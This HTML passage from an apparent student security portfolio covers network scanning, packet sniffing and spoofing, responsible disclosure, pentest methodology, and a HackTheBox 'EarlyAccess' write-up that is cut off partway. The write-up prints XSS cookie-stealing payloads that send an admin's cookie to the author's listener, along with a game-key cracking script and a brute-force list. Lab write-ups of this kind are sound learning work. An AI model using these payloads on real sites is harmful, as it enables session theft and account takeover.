the network.</p> <a href="../../img/portfolio/red/NetWorkScanRouterPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanRouterPorts.png" alt=""></a> <p>Here I can see that the router has some open ports for ssh, telnet and some webserver I can poke at.</p> <a href="../../img/portfolio/red/NetWorkScanDesktopHost.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetWorkScanDesktopHost.png" alt=""></a> <p>While looking at the topology graph I saw another machine with a lot of open ports so I took a look, and it looks like a windows machine.</p> <a href="../../img/portfolio/red/NetworkScanDesktopPorts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/NetworkScanDesktopPorts.png" alt=""></a> <p>There are a few different open ports on this machine then other regular desktops. Like a MariaDB which I could try to access or take a look at the webserver. The Windows RPC protocol is running on an open port which I can utilize to get in because there are some known exploits for that.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network scanning and enumeration</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal15" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Network sniffing and spoofing</p> <p>I will show 2 little demos as a proof of concept.</p> <a href="../../img/portfolio/red/WiresharkHTTPSite.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPSite.png" alt=""></a> <p>I have a "pi-hole" server running on my network that acts as my home dns server. It has a login screen for a dashboard with statistics but it is not HTTPS secured. So I tried catching the password with Wireshark while logging in.</p> <a href="../../img/portfolio/red/WiresharkHTTPResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WiresharkHTTPResult.png" alt=""></a> <p>When I filter Wireshark to only HTTP and logged in in te website I can see my IP and the website's IP. When I open the packet and took a look what's inside, you can see the form post with password in plain text. Now this website doesn't hash the password so I can see the password in plain text, otherwise I would have seen a hash which I had to decrypt to get the password.</p> <a href="../../img/portfolio/red/ScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/ScapyPacket.png" alt=""></a> <p>I created a fake IPV4 packet using "scapy". I made it so that it looks like the packet is coming from google, but It's actually from me and I put my malicious code in it.</p> <a href="../../img/portfolio/red/WireSharkScapyPacket.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/WireSharkScapyPacket.png" alt=""></a> <p>I captured the packet with Wireshark and as you can see the source address is google, but when you look in the raw my malicious code is in there.</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Network sniffing and spoofing</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal16" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Law, Ethics and Responsible Disclosure</p> <p>The Ethics are both quite abstract though logical at the same time. The are written in an abstract manner in which they could apply to even other things than hacking. Thus making it logical as well. Many things you wouldn't do to someone in real life you wouldn't do online. I think it's the same point <a href="https://www.youtube.com/watch?v=HmZm8vNHBSU">these</a> guys tried to make, except badly executed.</p> <P>In my opinion the internet is one of the last few free places there are in the world. Though sometimes tightly controlled by governments, look at China or North-Korea, people still find ways around the system to express their voices. I agree with the ethics being like gentlemen rules, just don't be a dick to someone, don't do anything you wouldn't want to be done to yourself. But this doesn't include expressing your opinion even though it might hurt some people. On the internet you still got the right to say those things the same as people having the right to disagree and say something about it. While in the real world when you say something wrong people will call it a form of discrimination and you'll get prosecuted. Thus undermining the freedom of speech and creating more and more censorship.</P> <p>These are the responsible disclosures of companies I compared.</p> <ul> <li><a href="https://www.google.com/about/appsecurity/">Google</a></li> <li><a href="https://support.apple.com/en-us/HT201220">Apple</a></li> <li> <a href="https://fontys.nl/Over-Fontys/Organisatie-en-sturing/Onze-organisatieNieuw/Regelingen-statuten-en-reglementen/Responsible-disclosure-Fontys-Hogescholen.htm">Fontys</a> </li> </ul> <p>The first things that stood out to me was the rewards. While Google and Apple being big corporations reward the people with big sums of money, the Fontys rewards them by putting their name on the wall of fame. Looking at other smaller companies it is more common to give some merchandise, putting their names on the hall of fame or giving a small amount of money compared to the big numbers Google and Apple are giving as rewards.</p> <p>What they all have in common is that they want a full detailed report of what you did so they can reproduce the scenario. They all don't want you to make anything public before they had a chance to fix it and don't dig any deeper in sensitive date that is necessary to proof the vulnerability.</p> <p>They all also state that even though you did anything illegal while proofing the vulnerability, if you follow their responsible disclosure and follow their rules they won't pursue any legal actions.</p> <p>It is quite logical that companies don't prosecute these people and give them rewards instead, because if you think about it they will lose far less money when they pay these rewards then if they get hacked by a real threat. Looking at <a href="https://www.bugcrowd.com/bug-bounty-list/">this</a> website a lot of companies share that same ideology.</p> <ul class="list-inline"> <li>Date: December 2019</li> <li>Client: Fontys</li> <li>Category: Law, Ethics and Responsible Disclosure</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal17" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Basic hacking process</p> <p>First lets talk about the basic hacking process. This is a process most hackers will follow when conducting a hack, good or bad. Though good and bad use this process there is a key difference between the two.</p> <a href="../../img/portfolio/red/hackingstappen.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/hackingstappen.png" alt=""></a> <p>These are the basic hacking steps that are needed to conduct a good hack.</p> <h3>Intel Gathering</h3> <p>Intel gathering is the first step in the basic hacking process. In this step the hacker tries to gain as much information on his target as possible. He'll conduct for instance a OSINT, go to the physical location of his target and get a feel for the place and maybe even use social engineering to call his target and try to extract information.</p> <h3>Footprint</h3> <p>Now the hacker will conduct a network scan and try to gain as much information on the target's network as possible. He needs to find a foothold from which he can continue further, think about ip ranges, open ports, OS versions and important servers.</p> <h3>Vuln Analysis</h3> <p>The hacker will now look for any out of date software or operating systems to use exploits on. Whenever he'll find a software version he'll look if there's a CVE entry for that he could exploit. He might also use some automated tools to find common vulnerabilities for him. The hacker will also try any website for web vulnerabilities like SQL injection, command injection, CSRF and XSS.</p> <h3>Exploitation</h3> <p>Now is time for action. The hacker will use the information and vulnerabilities he found in the previous step to use his exploits. Thus gaining access to his target or the information he's after. Most ethical hackers/pentesters will stop after this step or not even do this step at all because it might result in destabilizing or shutting down the targets network.</p> <h3>Post Exploitation</h3> <p>This step and the following is more applicable to the bad actors out there. Here the hacker will extract the data he's after, edit some data, create new accounts and setup persistence for a backdoor so he can come back later without going through the same process again or have the risk of the target patching the vulnerability he used.</p> <h3>Clean Up</h3> <p>This step is very important for bad actors to not get caught. Here the hacker will try to remove all of his footsteps like logs. Therefore the police or target will not be able to track him down or even know what he did in the first place.</p> <a href="../../img/portfolio/red/Cyber-Kill-Chain.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/Cyber-Kill-Chain.png" alt=""></a> <p>Now this is the cyber kill chain even though it's comparable to the basic hacking process there are some differences.</p> <h3>Reconnaissance</h3> <p>Here the hacker will conduct recon comparable to the intel gathering stage in the basic hacking process.</p> <h3>Weaponization</h3> <p>In this step the hacker is already creating a payload with an exploit to attack his target. It is notable that in the cyber killchain they skip the footprint and vuln analysis stages.</p> <h3>Delivery</h3> <p>Now the payload is to be delivered to the target this can be done by phising email, rubber ducky and so on. This stage is also not present in the basic hacking process, there it's more part of the exploitation stage.</p> <h3>Exploitation</h3> <p>When the payload is delivered the hacker will activate his attack.</p> <h3>Installation</h3> <p>In this stage the hacker will install for example malware to create persistence for a backdoor or to act more stealthy. This would happen in the post exploitation stage in the basic hacking process.</p> <h3>Command & Control</h3> <p>Now the installed malware will call back to the command and control system and give the hacker control of the hacked system. This can be both part of the exploitation and post exploitation stage in the basic hacking process.</p> <h3>Actions on Objectives</h3> <p>Here the hacker will do whatever his intentions were.</p> <h4>The minimal requirements for a good pentest contract and pentest report</h4> <p>In a good pentest contract there should be a clearly defined scope and procedures in case of emergency. The contract should also include a confidentiality agreement. The pentest report should include the scope and goal of the project with the findings and how it was done. It should be explained very carefully and readable for people that weren't aware of the project. The most important thing is ofcourse the advice to give to the company, this way they'll be able to fix any security leaks and the pentest was a success.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Basic hacking process</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal18" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Self reflection</p> <p>The semester started quite slowly for me. It wasn't really clear for me were I should start and were I should look for the right information. This semester was quite different from the defending one. In the defending semester everything went quite easy and smooth and I had a clear goal that I wanted to achieve, I felt like I missed that this semester, hens why it didn't start so smoothly.</p> <p>I started this semester with absolutely no knowledge in hacking into things. I learned quite a lot this semester, must of the things I learned listening to podcasts and understanding the different concepts and trying different things on DVWA.</p> <p>I still don't really feel like I could actually conduct a good pentest and find some decent results after this semester which I think sucks, because I feel like I should. I do think I've the knowledge but I feel like I lack the How-to. I did think I would be quite good at defending a network and building one after previous semester, so I think it's a combination between a lack of goals and guidance.</p> <ul class="list-inline"> <li>Date: January 2020</li> <li>Client: Fontys</li> <li>Category: Self reflection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal19" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Cyber4Z</h2> <p class="item-intro text-muted">My internship at Cyber4Z</p> <p>DESCRIPTION GOES HERE</p> <a href="PICTURE"><img class="img-fluid d-block mx-auto" src="SOURCE" alt=""></a> <ul class="list-inline"> <li>Date: June 2021</li> <li>Client: Cyber4Z</li> <li>Category: Internship</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal20" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">Pen-testing methodologies</p> <p>The standard and most popular pentest methodology is the Lockheed Martin cyber killchain. It's a basic process that explains the order of action a criminal hacker would follow. Thus also making it a viable ethical hacker methodology.</p> <a href="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyber-kill-chain-process.png" alt=""></a> <p>Knowing what step a attacker is taking or needs to take is good to know. But it's also good to know how to mitigate or prevent each step of the cyber killchain.</p> <a href="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/pentest_methods/cyberkillprev.jpg" alt=""></a> <p>Other than the Lockheed Martin cyber killchain there are a few other frameworks/methodologies, like the well-known OWASP.</p> <ol> <li>OSSTMM (Open Source Security Testing Methodology Manual)</li> <li>OWASP (Open Web Application Security Project)</li> <li>NIST (The National Institute of Standards and Technology)</li> <li>PTES (Penetration Testing Methodologies and Standards)</li> <li>ISSAF (Information System Security Assessment Framework)</li> </ol> <a href="https://www.vumetric.com/blog/top-penetration-testing-methodologies/">Source</a> <p><b>OSSTMM</b> is a peer-reviewed security assessment standard for testing and auditing systems and providing them with a risk score</p> <p><b>OWASP</b> is used as a methodology to pentest websites and web applications.</p> <p><b>NIST</b> is a very strict standard and they promote themselves as functionality driven. They mainly focus on helping federal agencies comply with regulations.</p> <p><b>PTES</b> is a structured approach to pentesting and looks a lot like the Lockheed Martin cyber killchain.</p> <p><b>ISSAF</b> is a pentesting methodology where the pentester imitates a hacker. This also looks a lot like the Lockheed Martin cyber killchain.</p> <p>Apart from all these methodologies there's another well known entity known by not only red teamers but also well-known by the blue teamers. This framework is known as the <a href="https://attack.mitre.org/">Mitre ATT&CK Framework</a> this framework contains almost every possible way to attack a network or machine.</p> <p>I've used the Mitre ATT&CK framework a lot when monitoring the SOC in my home network. Wazuh automatically categorizes the incoming alert in the Mitre ATT&CK framework. On the opposite side from te red teamer perspective I've used OWASP and the Lockheed Martin cyber killchain a lot. Mostly when performing pentests but also when cracking machines on Hackthebox and when participating in CTF events.</p> <ul class="list-inline"> <li>Date: September 2021</li> <li>Client: Fontys</li> <li>Category: Minor Red-teaming</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal21" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S7</h2> <p class="item-intro text-muted">HackTheBox Linux Write-up</p> <a href="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/EarlyAccessCard.png" alt=""></a> <p>First lets start with the basic enumeration and do a NMap.</p> <code>sudo nmap -v -A -sS earlyaccess.htb</code> <a href="img/portfolio/minor/red/htb_linux/NMapOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/NMapOutput.png" alt=""></a> <p>From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.</p> <code>gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt</code> <a href="img/portfolio/minor/red/htb_linux/GoBusterOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GoBusterOutput.png" alt=""></a> <p>From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.</p> <code>ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200</code> <a href="img/portfolio/minor/red/htb_linux/FfufOutput.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FfufOutput.png" alt=""></a> <p>Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsTestUser.png" alt=""></a> <p>Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.</p> <a href="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SingleQuoteForum.png" alt=""></a> <p>Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.</p> <a href="img/portfolio/minor/red/htb_linux/SendingMessage.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SendingMessage.png" alt=""></a> <p>Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.</p> <p> I tried to follow this guide <a href="https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/">https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/</a> and tried a number of different XSS scripts. </p> <code class="prettyprint"><img src=x onerror=this.src='http://10.10.14.40:8888/'</code> <a href="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PHPCookieStealer.png" alt=""></a> <code class="prettyprint"><iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe></code> <p>But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.</p> <a href="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/JavaCookieStealer.png" alt=""></a> <p>It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.</p> <code class="prettyprint"><script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script></code> <a href="img/portfolio/minor/red/htb_linux/AdminCookieJava.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AdminCookieJava.png" alt=""></a> <p>And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!</p> <a href="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedInAsAdmin.png" alt=""></a> <p>We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.</p> <a href="img/portfolio/minor/red/htb_linux/ValidateAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/ValidateAPI.png" alt=""></a> <p>It is an admin panel mostly used to validate game keys.</p> <a href="img/portfolio/minor/red/htb_linux/GameKeyForum.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/GameKeyForum.png" alt=""></a> <p>If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.</p> <pre style="text-align: left"> <code class="prettyprint"> #!/usr/bin/env python3 import sys from re import match class Key: key = "" magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) def __init__(self, key:str, magic_num:int=346): self.key = key if magic_num != 0: self.magic_num = magic_num @staticmethod def info() -> str: return f""" # Game-Key validator # Can be used to quickly verify a user's game key, when the API is down (again). Keys look like the following: AAAAA-BBBBB-CCCC1-DDDDD-1234 Usage: {sys.argv[0]} <game-key>""" def valid_format(self) -> bool: return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key)) def calc_cs(self) -> int: gs = self.key.split('-')[:-1] return sum([sum(bytearray(g.encode())) for g in gs]) def g1_valid(self) -> bool: g1 = self.key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] if r != [221, 81, 145]: return False for v in g1[3:]: try: int(v) except: return False return len(set(g1)) == len(g1) def g2_valid(self) -> bool: g2 = self.key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) def g3_valid(self) -> bool: # TODO: Add mechanism to sync magic_num with API g3 = self.key.split('-')[2] if g3[0:2] == self.magic_value: return sum(bytearray(g3.encode())) == self.magic_num else: return False def g4_valid(self) -> bool: return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0] def cs_valid(self) -> bool: cs = int(self.key.split('-')[-1]) return self.calc_cs() == cs def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True if __name__ == "__main__": if len(sys.argv) != 2: print(Key.info()) sys.exit(-1) input = sys.argv[1] validator = Key(input) if validator.check(): print(f"Entered key is valid!") else: print(f"Entered key is invalid!") </code> </pre> <p>This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.</p> <a href="img/portfolio/minor/red/htb_linux/PythonCompiler.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/PythonCompiler.png" alt=""></a> <p>I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.</p> <pre style="text-align: left"> <code class="prettyprint"> from re import match class Key: key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234 magic_value = "XP" # Static (same on API) magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" 